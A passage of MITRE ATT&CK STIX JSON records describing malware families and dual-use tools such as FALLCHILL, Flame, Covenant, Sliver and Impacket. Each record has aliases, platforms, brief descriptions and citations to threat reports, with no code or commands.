Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as \"PowerPool\".(Citation: ESET PowerPool Code October 2020) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["SLOTHFULMEDIA","JackOfHearts","QueenOfClubs"],"type":"malware","id":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","created":"2020-11-16T23:23:00.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0533","external_id":"S0533"},{"source_name":"Costin Raiu IAmTheKing October 2020","description":"Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024.","url":"https://x.com/craiu/status/1311920398259367942"},{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"},{"source_name":"ESET PowerPool Code October 2020","description":"ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1311762215490461696"},{"source_name":"Kaspersky IAmTheKing October 2020","description":"Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020.","url":"https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"},{"source_name":"QueenOfClubs","description":"Kaspersky Labs assesses [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is an older variant of a malware family it refers to as the QueenOfClubs.(Citation: Kaspersky IAmTheKing October 2020)"},{"source_name":"JackOfHearts","description":"Kaspersky Labs refers to the \"mediaplayer.exe\" dropper within [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) as the JackOfHearts.(Citation: Kaspersky IAmTheKing October 2020)"},{"source_name":"USCYBERCOM SLOTHFULMEDIA October 2020","description":"USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.","url":"https://x.com/CNMF_CyberAlert/status/1311743710997159953"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FALLCHILL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0181","external_id":"S0181"},{"source_name":"FALLCHILL","description":"(Citation: US-CERT FALLCHILL Nov 2017)"},{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"}],"modified":"2021-04-23T20:01:10.366Z","name":"FALLCHILL","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-14T15:24:24.129Z","name":"Small Sieve","description":"[Small Sieve](https://attack.mitre.org/software/S1035) is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: NCSC GCHQ Small Sieve Jan 2022)\n\nSecurity researchers have also noted [Small Sieve](https://attack.mitre.org/software/S1035)'s use by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069).(Citation: Mandiant UNC3313 Feb 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Small Sieve","GRAMDOOR"],"type":"malware","id":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","created":"2022-08-16T19:16:48.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1035","external_id":"S1035"},{"source_name":"GRAMDOOR","description":"(Citation: Mandiant UNC3313 Feb 2022)"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T17:51:18.408Z","name":"Flame","description":"[Flame](https://attack.mitre.org/software/S0143) is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Flame","Flamer","sKyWIper"],"type":"malware","id":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","created":"2017-05-31T21:33:21.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0143","external_id":"S0143"},{"source_name":"Flame","description":"(Citation: Kaspersky Flame)"},{"source_name":"sKyWIper","description":"(Citation: Kaspersky Flame) (Citation: Crysys Skywiper)"},{"source_name":"Flamer","description":"(Citation: Kaspersky Flame) (Citation: Symantec Beetlejuice)"},{"source_name":"Kaspersky Flame","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","url":"https://securelist.com/the-flame-questions-and-answers-51/34344/"},{"source_name":"Crysys Skywiper","description":"sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.","url":"https://www.crysys.hu/publications/files/skywiper.pdf"},{"source_name":"Symantec Beetlejuice","description":"Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.","url":"https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:21:28.830Z","name":"HermeticWizard","description":"[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["HermeticWizard"],"type":"malware","id":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","created":"2022-03-25T20:47:06.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0698","external_id":"S0698"},{"source_name":"ESET Hermetic Wizard March 2022","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-01T04:34:30.855Z","name":"Net","description":"The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user.","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.6","x_mitre_contributors":["David Ferguson, CyberSponse"],"x_mitre_aliases":["Net","net.exe"],"type":"tool","id":"tool--03342581-f790-4f03-ba41-e82e67392e23","created":"2017-05-31T21:32:31.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0039","external_id":"S0039"},{"source_name":"Microsoft Net Utility","description":"Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015.","url":"https://msdn.microsoft.com/en-us/library/aa939914"},{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RemoteUtilities"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","type":"tool","created":"2021-03-18T14:57:34.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0592","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0592"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:30:38.375Z","name":"RemoteUtilities","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-06T18:11:55.619Z","name":"Covenant","description":"[Covenant](https://attack.mitre.org/software/S1155) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://attack.mitre.org/groups/G0125) during operations. [Covenant](https://attack.mitre.org/software/S1155) functions through a central listener managing multiple deployed \"Grunts\" that communicate back to the controller.(Citation: Github Covenant)(Citation: Microsoft HAFNIUM March 2020)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Subhash Thapa"],"x_mitre_aliases":["Covenant"],"type":"tool","id":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","created":"2024-09-04T17:08:08.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1155","external_id":"S1155"},{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:00:14.732Z","name":"NPPSPY","description":"NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.(Citation: Huntress NPPSPY 2022)(Citation: Polak NPPSPY 2004)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Dray Agha, @Purp1eW0lf, Huntress Labs"],"x_mitre_aliases":["NPPSPY"],"type":"tool","id":"tool--0630d1a7-54da-4a48-a6af-eb8a62b13c17","created":"2024-05-17T18:49:15.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1131","external_id":"S1131"},{"source_name":"Huntress NPPSPY 2022","description":"Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.","url":"https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy"},{"source_name":"Polak NPPSPY 2004","description":"Sergey Polak. (2004, August). Capturing Windows Passwords using the Network Provider API. Retrieved May 17, 2024.","url":"https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:33:37.892Z","name":"BloodHound","description":"[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_aliases":["BloodHound"],"type":"tool","id":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","created":"2020-10-28T12:51:29.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0521","external_id":"S0521"},{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"},{"source_name":"CrowdStrike BloodHound April 2018","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"},{"source_name":"GitHub Bloodhound","description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-27T15:28:27.482Z","name":"certutil","description":"[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["certutil","certutil.exe"],"type":"tool","id":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0160","external_id":"S0160"},{"source_name":"TechNet Certutil","description":"Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.","url":"https://technet.microsoft.com/library/cc732443.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-22T20:56:56.049Z","name":"at","description":"[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["at","at.exe"],"type":"tool","id":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","created":"2017-05-31T21:33:06.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0110","external_id":"S0110"},{"source_name":"Linux at","description":"IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022.","url":"https://man7.org/linux/man-pages/man1/at.1p.html"},{"source_name":"TechNet At","description":"Microsoft. (n.d.). At. Retrieved April 28, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490866.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--102c3898-85e0-43ee-ae28-62a0a3ed9507","type":"tool","created":"2017-05-31T21:33:09.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0116","external_id":"S0116"},{"source_name":"Github UACMe","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","url":"https://github.com/hfiref0x/UACME"}],"modified":"2018-10-17T00:14:20.652Z","name":"UACMe","description":"[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ShimRatReporter"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--115f88dd-0618-4389-83cb-98d33ae81848","type":"tool","created":"2020-05-12T21:29:48.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0445","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0445"},{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T22:39:28.701Z","name":"ShimRatReporter","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:06:01.264Z","name":"Sliver","description":"[Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)","x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Achute Sharma, Keysight","Ayan Saha, Keysight"],"x_mitre_aliases":["Sliver"],"type":"tool","id":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","created":"2021-07-30T15:43:17.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0633","external_id":"S0633"},{"source_name":"Bishop Fox Sliver Framework August 2019","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021.","url":"https://labs.bishopfox.com/tech-blog/sliver"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-23T14:18:53.140Z","name":"SILENTTRINITY","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Daniel Acevedo, Blackbot"],"x_mitre_aliases":["SILENTTRINITY"],"type":"tool","id":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","created":"2022-03-23T19:34:30.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0692","external_id":"S0692"},{"source_name":"SILENTTRINITY","description":"(Citation: GitHub SILENTTRINITY March 2022)"},{"source_name":"Security Affairs SILENTTRINITY July 2019","description":"Paganini, P. (2019, July 7). Croatia government agencies targeted with news SilentTrinity malware. Retrieved March 23, 2022.","url":"https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html"},{"source_name":"GitHub SILENTTRINITY March 2022","description":"Salvati, M (2019, August 6). SILENTTRINITY. Retrieved March 23, 2022.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-17T19:50:17.832Z","name":"PowerSploit","description":"[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_aliases":["PowerSploit"],"type":"tool","id":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0194","external_id":"S0194"},{"source_name":"PowerShellMagazine PowerSploit July 2014","description":"Graeber, M. (2014, July 8). PowerSploit. Retrieved February 6, 2018.","url":"http://www.powershellmagazine.com/2014/07/08/powersploit/"},{"source_name":"GitHub PowerSploit May 2012","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","url":"https://github.com/PowerShellMafia/PowerSploit"},{"source_name":"PowerSploit Documentation","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","url":"http://powersploit.readthedocs.io"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-19T12:18:43.123Z","name":"Pacu","description":"Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.(Citation: GitHub Pacu)","x_mitre_platforms":["IaaS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Thanabodi Phrakhun, @naikordian"],"x_mitre_aliases":["Pacu"],"type":"tool","id":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","created":"2023-09-28T13:21:49.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1091","external_id":"S1091"},{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:17:22.004Z","name":"Windows Credential Editor","description":"[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Windows Credential Editor","WCE"],"type":"tool","id":"tool--242f3da3-4425-4d11-8f5c-b842886da966","created":"2017-05-31T21:32:12.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0005","external_id":"S0005"},{"source_name":"Amplia WCE","description":"Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-07T19:08:53.273Z","name":"Impacket","description":"[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket 